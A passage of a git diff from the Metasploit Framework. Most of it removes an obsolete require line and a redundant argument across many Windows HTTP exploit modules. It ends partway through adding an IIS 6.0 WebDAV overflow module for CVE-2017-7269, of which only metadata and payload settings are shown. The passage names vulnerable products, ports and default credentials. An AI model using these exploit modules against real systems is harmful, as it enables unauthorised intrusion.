MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(80) - ], self.class ) + ]) end def check diff --git a/modules/exploits/windows/http/netdecision_http_bof.rb b/modules/exploits/windows/http/netdecision_http_bof.rb index 7d9bfc54af..45801ab45c 100644 --- a/modules/exploits/windows/http/netdecision_http_bof.rb +++ b/modules/exploits/windows/http/netdecision_http_bof.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/http/netgear_nms_rce.rb b/modules/exploits/windows/http/netgear_nms_rce.rb index 8e00ad258d..5d08b32a01 100644 --- a/modules/exploits/windows/http/netgear_nms_rce.rb +++ b/modules/exploits/windows/http/netgear_nms_rce.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -50,7 +48,7 @@ class MetasploitModule < Msf::Exploit::Remote [ Opt::RPORT(8080), OptString.new('TARGETURI', [true, "Application path", '/']) - ], self.class) + ]) end diff --git a/modules/exploits/windows/http/novell_imanager_upload.rb b/modules/exploits/windows/http/novell_imanager_upload.rb index 465490a72b..d56e370e54 100644 --- a/modules/exploits/windows/http/novell_imanager_upload.rb +++ b/modules/exploits/windows/http/novell_imanager_upload.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -55,7 +53,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(8080) - ], self.class ) + ]) end def exploit diff --git a/modules/exploits/windows/http/novell_mdm_lfi.rb b/modules/exploits/windows/http/novell_mdm_lfi.rb index aee9177369..06e0503324 100644 --- a/modules/exploits/windows/http/novell_mdm_lfi.rb +++ b/modules/exploits/windows/http/novell_mdm_lfi.rb @@ -3,9 +3,8 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::EXE @@ -44,11 +43,11 @@ class MetasploitModule < Msf::Exploit::Remote register_options([ OptString.new('TARGETURI', [true, 'Path to the Novell Zenworks MDM install', '/']), OptInt.new('RPORT', [true, "Default remote port", 80]) - ], self.class) + ]) register_advanced_options([ OptBool.new('SSL', [true, "Negotiate SSL connection", false]) - ], self.class) + ]) end def get_version diff --git a/modules/exploits/windows/http/novell_messenger_acceptlang.rb b/modules/exploits/windows/http/novell_messenger_acceptlang.rb index 0f80454e8c..220e1d4c51 100644 --- a/modules/exploits/windows/http/novell_messenger_acceptlang.rb +++ b/modules/exploits/windows/http/novell_messenger_acceptlang.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking @@ -44,7 +42,7 @@ class MetasploitModule < Msf::Exploit::Remote ], 'DisclosureDate' => 'Apr 13 2006')) - register_options( [ Opt::RPORT(8300) ], self.class ) + register_options( [ Opt::RPORT(8300) ]) end def exploit diff --git a/modules/exploits/windows/http/nowsms.rb b/modules/exploits/windows/http/nowsms.rb index 5bbf6d1524..b5c2f72557 100644 --- a/modules/exploits/windows/http/nowsms.rb +++ b/modules/exploits/windows/http/nowsms.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking @@ -45,7 +43,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultTarget' => 0, 'DisclosureDate' => 'Feb 19 2008')) - register_options( [ Opt::RPORT(8800) ], self.class ) + register_options( [ Opt::RPORT(8800) ]) end def exploit diff --git a/modules/exploits/windows/http/oracle9i_xdb_pass.rb b/modules/exploits/windows/http/oracle9i_xdb_pass.rb index c59eeaa693..f123dfe583 100644 --- a/modules/exploits/windows/http/oracle9i_xdb_pass.rb +++ b/modules/exploits/windows/http/oracle9i_xdb_pass.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking @@ -52,7 +50,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(8080) - ], self.class ) + ]) end def check diff --git a/modules/exploits/windows/http/oracle_beehive_evaluation.rb b/modules/exploits/windows/http/oracle_beehive_evaluation.rb index 0bb82f0dd7..e86f400bcc 100644 --- a/modules/exploits/windows/http/oracle_beehive_evaluation.rb +++ b/modules/exploits/windows/http/oracle_beehive_evaluation.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -49,7 +47,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('TARGETURI', [ true, "Oracle Beehive's base directory", '/']) - ], self.class) + ]) end diff --git a/modules/exploits/windows/http/oracle_beehive_prepareaudiotoplay.rb b/modules/exploits/windows/http/oracle_beehive_prepareaudiotoplay.rb index de558a196a..47b647c15e 100644 --- a/modules/exploits/windows/http/oracle_beehive_prepareaudiotoplay.rb +++ b/modules/exploits/windows/http/oracle_beehive_prepareaudiotoplay.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -48,7 +46,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('TARGETURI', [ true, "Oracle Beehive's base directory", '/']) - ], self.class) + ]) end diff --git a/modules/exploits/windows/http/oracle_btm_writetofile.rb b/modules/exploits/windows/http/oracle_btm_writetofile.rb index 81a88ca3d0..cfb6176b87 100644 --- a/modules/exploits/windows/http/oracle_btm_writetofile.rb +++ b/modules/exploits/windows/http/oracle_btm_writetofile.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -77,7 +75,7 @@ class MetasploitModule < Msf::Exploit::Remote [ Opt::RPORT(7001), OptInt.new('DEPTH', [false, 'Traversal depth']) - ], self.class) + ]) end def on_new_session(client) diff --git a/modules/exploits/windows/http/oracle_endeca_exec.rb b/modules/exploits/windows/http/oracle_endeca_exec.rb index d4ef7760fd..46a88d3cff 100644 --- a/modules/exploits/windows/http/oracle_endeca_exec.rb +++ b/modules/exploits/windows/http/oracle_endeca_exec.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/exploit/powershell' class MetasploitModule < Msf::Exploit::Remote @@ -50,7 +49,7 @@ class MetasploitModule < Msf::Exploit::Remote [ Opt::RPORT(7770), OptString.new('TARGETURI', [true, 'The URI path of the Control Web Service', '/ws/control']) - ], self.class) + ]) end def version_soap diff --git a/modules/exploits/windows/http/oracle_event_processing_upload.rb b/modules/exploits/windows/http/oracle_event_processing_upload.rb index 054f5b890e..19eeabf466 100644 --- a/modules/exploits/windows/http/oracle_event_processing_upload.rb +++ b/modules/exploits/windows/http/oracle_event_processing_upload.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -62,7 +60,7 @@ class MetasploitModule < Msf::Exploit::Remote # By default, uploads are stored in: # C:\Oracle\Middleware\user_projects\domains\\defaultserver\upload\ OptInt.new('DEPTH', [true, 'Traversal depth', 7]) - ], self.class) + ]) end def upload(file_name, contents) diff --git a/modules/exploits/windows/http/osb_uname_jlist.rb b/modules/exploits/windows/http/osb_uname_jlist.rb index 792e5db124..7fa12f9469 100644 --- a/modules/exploits/windows/http/osb_uname_jlist.rb +++ b/modules/exploits/windows/http/osb_uname_jlist.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -51,7 +49,7 @@ class MetasploitModule < Msf::Exploit::Remote Opt::RPORT(443), OptBool.new('SSL', [true, 'Use SSL', true]), OptString.new('CMD', [ false, 'Execute this command instead of using command stager', "" ]) - ], self.class) + ]) end def windows_stager diff --git a/modules/exploits/windows/http/peercast_url.rb b/modules/exploits/windows/http/peercast_url.rb index d8e514ffab..20844d21d1 100644 --- a/modules/exploits/windows/http/peercast_url.rb +++ b/modules/exploits/windows/http/peercast_url.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking @@ -43,7 +41,7 @@ class MetasploitModule < Msf::Exploit::Remote ], 'DisclosureDate' => 'Mar 8 2006')) - register_options( [ Opt::RPORT(7144) ], self.class ) + register_options( [ Opt::RPORT(7144) ]) end def exploit diff --git a/modules/exploits/windows/http/php_apache_request_headers_bof.rb b/modules/exploits/windows/http/php_apache_request_headers_bof.rb index 04e9ee1427..6b7191b451 100644 --- a/modules/exploits/windows/http/php_apache_request_headers_bof.rb +++ b/modules/exploits/windows/http/php_apache_request_headers_bof.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -70,7 +68,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('TARGETURI', [true, 'The URI path to the php using apache_request_headers', '/php/test.php']), - ], self.class) + ]) end diff --git a/modules/exploits/windows/http/privatewire_gateway.rb b/modules/exploits/windows/http/privatewire_gateway.rb index 2ad78064a3..8d70113620 100644 --- a/modules/exploits/windows/http/privatewire_gateway.rb +++ b/modules/exploits/windows/http/privatewire_gateway.rb @@ -6,8 +6,6 @@ # This file may only be distributed as part of the Metasploit Framework. # Any other use needs a written permission from the author. -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking @@ -51,7 +49,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('PATH', [ true, "Installation path of Privatewire", 'C:\Cipgw' ]) - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/http/psoproxy91_overflow.rb b/modules/exploits/windows/http/psoproxy91_overflow.rb index f387140d39..0d72eb02aa 100644 --- a/modules/exploits/windows/http/psoproxy91_overflow.rb +++ b/modules/exploits/windows/http/psoproxy91_overflow.rb @@ -53,7 +53,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(8080), - ], self.class) + ]) end def check diff --git a/modules/exploits/windows/http/rabidhamster_r4_log.rb b/modules/exploits/windows/http/rabidhamster_r4_log.rb index a4a1a1f186..646f930f24 100644 --- a/modules/exploits/windows/http/rabidhamster_r4_log.rb +++ b/modules/exploits/windows/http/rabidhamster_r4_log.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -52,7 +50,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptPort.new('RPORT', [true, 'The remote port', 8888]) - ], self.class) + ]) end def check diff --git a/modules/exploits/windows/http/rejetto_hfs_exec.rb b/modules/exploits/windows/http/rejetto_hfs_exec.rb index cce2a993c1..5d3d08c8a6 100644 --- a/modules/exploits/windows/http/rejetto_hfs_exec.rb +++ b/modules/exploits/windows/http/rejetto_hfs_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -50,7 +48,7 @@ class MetasploitModule < Msf::Exploit::Remote [ OptString.new('TARGETURI', [true, 'The path of the web application', '/']), OptInt.new('HTTPDELAY', [false, 'Seconds to wait before terminating web server', 10]), - ], self.class) + ]) end def check diff --git a/modules/exploits/windows/http/sambar6_search_results.rb b/modules/exploits/windows/http/sambar6_search_results.rb index 060403088e..b27b36eb92 100644 --- a/modules/exploits/windows/http/sambar6_search_results.rb +++ b/modules/exploits/windows/http/sambar6_search_results.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -59,7 +57,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(80), - ],self.class) + ]) end def check diff --git a/modules/exploits/windows/http/sap_configservlet_exec_noauth.rb b/modules/exploits/windows/http/sap_configservlet_exec_noauth.rb index 1b37036b59..b0f7e46a69 100644 --- a/modules/exploits/windows/http/sap_configservlet_exec_noauth.rb +++ b/modules/exploits/windows/http/sap_configservlet_exec_noauth.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit Rank = GreatRanking @@ -52,12 +50,12 @@ class MetasploitModule < Msf::Exploit [ Opt::RPORT(50000), OptString.new('TARGETURI', [ true, 'Path to ConfigServlet', '/ctc/servlet']) - ], self.class) + ]) register_advanced_options( [ OptBool.new('DELETE_FILES', [ true, 'Delete the dropped files after exploitation', true ]) - ], self.class) + ]) end def check diff --git a/modules/exploits/windows/http/sap_host_control_cmd_exec.rb b/modules/exploits/windows/http/sap_host_control_cmd_exec.rb index 3ba0407e99..1dc37a124e 100644 --- a/modules/exploits/windows/http/sap_host_control_cmd_exec.rb +++ b/modules/exploits/windows/http/sap_host_control_cmd_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking @@ -49,7 +47,7 @@ class MetasploitModule < Msf::Exploit::Remote Opt::RPORT(1128), OptString.new('URIPATH', [ true, "The URI to use (do not change)", "/" ]), OptPort.new('SRVPORT', [ true, "The daemon port to listen on (do not change)", 80 ]), - ], self.class) + ]) end def autofilter diff --git a/modules/exploits/windows/http/sapdb_webtools.rb b/modules/exploits/windows/http/sapdb_webtools.rb index 7456fd6022..d957873116 100644 --- a/modules/exploits/windows/http/sapdb_webtools.rb +++ b/modules/exploits/windows/http/sapdb_webtools.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking @@ -53,7 +51,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DisclosureDate' => 'Jul 5 2007', 'DefaultTarget' => 0)) - register_options( [ Opt::RPORT(9999) ], self.class ) + register_options( [ Opt::RPORT(9999) ]) end def exploit diff --git a/modules/exploits/windows/http/savant_31_overflow.rb b/modules/exploits/windows/http/savant_31_overflow.rb index e21b096884..3838d51c2f 100644 --- a/modules/exploits/windows/http/savant_31_overflow.rb +++ b/modules/exploits/windows/http/savant_31_overflow.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking diff --git a/modules/exploits/windows/http/sepm_auth_bypass_rce.rb b/modules/exploits/windows/http/sepm_auth_bypass_rce.rb index 49b4f3ed2b..19633bd929 100644 --- a/modules/exploits/windows/http/sepm_auth_bypass_rce.rb +++ b/modules/exploits/windows/http/sepm_auth_bypass_rce.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -56,7 +54,7 @@ class MetasploitModule < Msf::Exploit::Remote [ Opt::RPORT(8443), OptString.new('TARGETURI', [true, 'The path of the web application', '/']), - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/http/servu_session_cookie.rb b/modules/exploits/windows/http/servu_session_cookie.rb index 5384e6cef6..89f2cf0840 100644 --- a/modules/exploits/windows/http/servu_session_cookie.rb +++ b/modules/exploits/windows/http/servu_session_cookie.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking @@ -67,7 +65,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultTarget' => 1, 'DisclosureDate' => 'Nov 1 2009')) - register_options( [ Opt::RPORT(80) ], self.class ) + register_options( [ Opt::RPORT(80) ]) end diff --git a/modules/exploits/windows/http/shoutcast_format.rb b/modules/exploits/windows/http/shoutcast_format.rb index b95de3b057..a0cb44d262 100644 --- a/modules/exploits/windows/http/shoutcast_format.rb +++ b/modules/exploits/windows/http/shoutcast_format.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking @@ -52,7 +50,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(8000) - ], self.class) + ]) end def check diff --git a/modules/exploits/windows/http/shttpd_post.rb b/modules/exploits/windows/http/shttpd_post.rb index 5255a61775..851400d9cb 100644 --- a/modules/exploits/windows/http/shttpd_post.rb +++ b/modules/exploits/windows/http/shttpd_post.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking @@ -53,7 +51,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(80) - ], self.class ) + ]) end def exploit diff --git a/modules/exploits/windows/http/solarwinds_fsm_userlogin.rb b/modules/exploits/windows/http/solarwinds_fsm_userlogin.rb index f484664718..8c410f9867 100644 --- a/modules/exploits/windows/http/solarwinds_fsm_userlogin.rb +++ b/modules/exploits/windows/http/solarwinds_fsm_userlogin.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -60,7 +58,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('TARGETURI', [ true, 'Base FMS directory path', '/']) - ], self.class) + ]) end diff --git a/modules/exploits/windows/http/solarwinds_storage_manager_sql.rb b/modules/exploits/windows/http/solarwinds_storage_manager_sql.rb index 2df31f7ccf..beb0607cd6 100644 --- a/modules/exploits/windows/http/solarwinds_storage_manager_sql.rb +++ b/modules/exploits/windows/http/solarwinds_storage_manager_sql.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -56,7 +54,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptPort.new('RPORT', [true, 'The target port', 9000]) - ], self.class) + ]) end diff --git a/modules/exploits/windows/http/sonicwall_scrutinizer_sqli.rb b/modules/exploits/windows/http/sonicwall_scrutinizer_sqli.rb index 053b40eec4..7937b37ae3 100644 --- a/modules/exploits/windows/http/sonicwall_scrutinizer_sqli.rb +++ b/modules/exploits/windows/http/sonicwall_scrutinizer_sqli.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -55,7 +53,7 @@ class MetasploitModule < Msf::Exploit::Remote [ OptString.new('TARGETURI', [true, 'The path to the SonicWall Scrutinizer\'s statusFilter file', '/d4d/statusFilter.php']), OptString.new('HTMLDIR', [true, 'The HTML root directory for the web application', 'C:\\Program Files\\Scrutinizer\\html\\']) - ], self.class) + ]) end diff --git a/modules/exploits/windows/http/steamcast_useragent.rb b/modules/exploits/windows/http/steamcast_useragent.rb index 650dd5f3e5..486fb9e346 100644 --- a/modules/exploits/windows/http/steamcast_useragent.rb +++ b/modules/exploits/windows/http/steamcast_useragent.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking diff --git a/modules/exploits/windows/http/sws_connection_bof.rb b/modules/exploits/windows/http/sws_connection_bof.rb index c84081854b..1f22fcfcd9 100644 --- a/modules/exploits/windows/http/sws_connection_bof.rb +++ b/modules/exploits/windows/http/sws_connection_bof.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/http/sybase_easerver.rb b/modules/exploits/windows/http/sybase_easerver.rb index 8be77137c6..b6915c74bb 100644 --- a/modules/exploits/windows/http/sybase_easerver.rb +++ b/modules/exploits/windows/http/sybase_easerver.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking @@ -53,7 +51,7 @@ class MetasploitModule < Msf::Exploit::Remote [ OptString.new('DIR', [ true, "Directory of Login.jsp script", '/WebConsole/' ]), Opt::RPORT(8080) - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/http/sysax_create_folder.rb b/modules/exploits/windows/http/sysax_create_folder.rb index b043198646..c952b32c55 100644 --- a/modules/exploits/windows/http/sysax_create_folder.rb +++ b/modules/exploits/windows/http/sysax_create_folder.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -78,7 +76,7 @@ class MetasploitModule < Msf::Exploit::Remote Opt::RPORT(80), OptString.new('SysaxUSER', [ true, "Username" ]), OptString.new('SysaxPASS', [ true, "Password" ]) - ], self.class) + ]) end diff --git a/modules/exploits/windows/http/trackercam_phparg_overflow.rb b/modules/exploits/windows/http/trackercam_phparg_overflow.rb index f431fd9289..55175f9b48 100644 --- a/modules/exploits/windows/http/trackercam_phparg_overflow.rb +++ b/modules/exploits/windows/http/trackercam_phparg_overflow.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking @@ -62,7 +60,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(8090) - ], self.class) + ]) end def check diff --git a/modules/exploits/windows/http/trackit_file_upload.rb b/modules/exploits/windows/http/trackit_file_upload.rb index c4cc9ee2fd..759d6cffb6 100644 --- a/modules/exploits/windows/http/trackit_file_upload.rb +++ b/modules/exploits/windows/http/trackit_file_upload.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -58,7 +56,7 @@ class MetasploitModule < Msf::Exploit::Remote [true, 'Seconds to sleep while we wait for ASP(X) file to be written', 15]), OptString.new('TARGETURI', [true, 'Base path to the TrackItWeb application', '/TrackItWeb/']) - ], self.class) + ]) end diff --git a/modules/exploits/windows/http/trendmicro_officescan.rb b/modules/exploits/windows/http/trendmicro_officescan.rb index 0b1dcff49f..91b79d9386 100644 --- a/modules/exploits/windows/http/trendmicro_officescan.rb +++ b/modules/exploits/windows/http/trendmicro_officescan.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'metasm' class MetasploitModule < Msf::Exploit::Remote @@ -55,7 +54,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(8080), - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/http/ultraminihttp_bof.rb b/modules/exploits/windows/http/ultraminihttp_bof.rb index 1100d1b113..4a1f2b4aa6 100644 --- a/modules/exploits/windows/http/ultraminihttp_bof.rb +++ b/modules/exploits/windows/http/ultraminihttp_bof.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/http/umbraco_upload_aspx.rb b/modules/exploits/windows/http/umbraco_upload_aspx.rb index 8cb9460f71..9810143c13 100644 --- a/modules/exploits/windows/http/umbraco_upload_aspx.rb +++ b/modules/exploits/windows/http/umbraco_upload_aspx.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -54,7 +52,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('TARGETURI', [true, 'The URI path of the Umbraco login page', '/umbraco/']) - ], self.class) + ]) end # diff --git a/modules/exploits/windows/http/vmware_vcenter_chargeback_upload.rb b/modules/exploits/windows/http/vmware_vcenter_chargeback_upload.rb index e6e1375362..5dc470b4b7 100644 --- a/modules/exploits/windows/http/vmware_vcenter_chargeback_upload.rb +++ b/modules/exploits/windows/http/vmware_vcenter_chargeback_upload.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -54,7 +52,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(443) - ], self.class) + ]) end # diff --git a/modules/exploits/windows/http/webster_http.rb b/modules/exploits/windows/http/webster_http.rb index 5821ba4e27..a8eb325854 100644 --- a/modules/exploits/windows/http/webster_http.rb +++ b/modules/exploits/windows/http/webster_http.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking diff --git a/modules/exploits/windows/http/xampp_webdav_upload_php.rb b/modules/exploits/windows/http/xampp_webdav_upload_php.rb index c39180bfa0..64ccaa6ed4 100644 --- a/modules/exploits/windows/http/xampp_webdav_upload_php.rb +++ b/modules/exploits/windows/http/xampp_webdav_upload_php.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -36,7 +34,7 @@ class MetasploitModule < Msf::Exploit::Remote OptString.new('FILENAME', [ false , "The filename to give the payload. (Leave Blank for Random)"]), OptString.new('USERNAME', [false, 'The HTTP username to specify for authentication', 'wampp']), OptString.new('PASSWORD', [false, 'The HTTP password to specify for authentication', 'xampp']) - ], self.class) + ]) end diff --git a/modules/exploits/windows/http/xitami_if_mod_since.rb b/modules/exploits/windows/http/xitami_if_mod_since.rb index 213f3d1b68..0077d026bb 100644 --- a/modules/exploits/windows/http/xitami_if_mod_since.rb +++ b/modules/exploits/windows/http/xitami_if_mod_since.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking @@ -55,7 +53,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(80), - ],self.class) + ]) end def check diff --git a/modules/exploits/windows/http/zenworks_assetmgmt_uploadservlet.rb b/modules/exploits/windows/http/zenworks_assetmgmt_uploadservlet.rb index a650c6cbbe..47134a1c5c 100644 --- a/modules/exploits/windows/http/zenworks_assetmgmt_uploadservlet.rb +++ b/modules/exploits/windows/http/zenworks_assetmgmt_uploadservlet.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -54,7 +52,7 @@ class MetasploitModule < Msf::Exploit::Remote [ Opt::RPORT(8080), OptInt.new('DEPTH', [true, 'Traversal depth to reach the Tomcat webapps dir', 3]) - ], self.class ) + ]) end def exploit diff --git a/modules/exploits/windows/http/zenworks_uploadservlet.rb b/modules/exploits/windows/http/zenworks_uploadservlet.rb index 4e0e67c8e7..ddd9b7270a 100644 --- a/modules/exploits/windows/http/zenworks_uploadservlet.rb +++ b/modules/exploits/windows/http/zenworks_uploadservlet.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking diff --git a/modules/exploits/windows/iis/iis_webdav_scstoragepathfromurl.rb b/modules/exploits/windows/iis/iis_webdav_scstoragepathfromurl.rb new file mode 100644 index 0000000000..e3a0624e62 --- /dev/null +++ b/modules/exploits/windows/iis/iis_webdav_scstoragepathfromurl.rb @@ -0,0 +1,179 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ManualRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => ' Microsoft IIS WebDav ScStoragePathFromUrl Overflow', + 'Description' => %q{ + Buffer overflow in the ScStoragePathFromUrl function + in the WebDAV service in Internet Information Services (IIS) 6.0 + in Microsoft Windows Server 2003 R2 allows remote attackers to + execute arbitrary code via a long header beginning with + "If: + [ + 'Zhiniang Peng', # Original author + 'Chen Wu', # Original author + 'Dominic Chell ', # metasploit module + 'firefart', # metasploit module + 'zcgonvh ', # metasploit module + 'Rich Whitcroft' # metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2017-7269' ], + [ 'BID', '97127' ], + [ 'URL', 'https://github.com/edwardz246003/IIS_exploit' ], + [ 'URL', 'https://0patch.blogspot.com/2017/03/0patching-immortal-cve-2017-7269.html' ] + ], + 'Privileged' => false, + 'Payload' => + { + 'Space' => 2000, + 'BadChars' => "\x00", + 'EncoderType' => Msf::Encoder::Type::AlphanumUnicodeMixed, + 'DisableNops' => 'True', + 'EncoderOptions' => + { + 